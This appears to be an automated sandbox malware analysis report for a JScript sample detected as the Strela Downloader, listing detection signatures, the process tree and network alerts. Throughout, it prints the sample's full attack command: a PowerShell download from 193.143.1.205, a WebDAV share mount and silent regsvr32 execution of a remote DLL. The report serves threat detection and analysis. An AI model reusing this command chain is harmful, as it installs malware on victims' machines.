Edit tour

Windows Analysis Report
187837506181165315.js

Overview

General Information

Sample name:	187837506181165315.js
Analysis ID:	1588169
MD5:	1d223fbbd9e7f47e41ffe659a5625677
SHA1:	2d0ea7e9917e31424a5f6d7fabf3e98d44f21dd3
SHA256:	ded4d46613aca763efc316276b28d9ffa821abf680a797993518176b103bb139
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1708 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2356 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6908 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5712 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1636,i,15796860752491602674,9238924235117510376,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 672 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6080 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6600 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1708	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6908, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6908, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ProcessId: 1708, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6080, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49736

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ProcessId: 1708, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6908, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 672, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6080, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6600, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 672, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6080, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1708, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll, ProcessId: 2356, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:04.181568+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49736	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:13:01.625458+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49721	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 187837506181165315.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 187837506181165315.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49736 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: global traffic

TCP traffic: 192.168.2.6:49736 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49721 -> 193.143.1.205:80

Source: global traffic

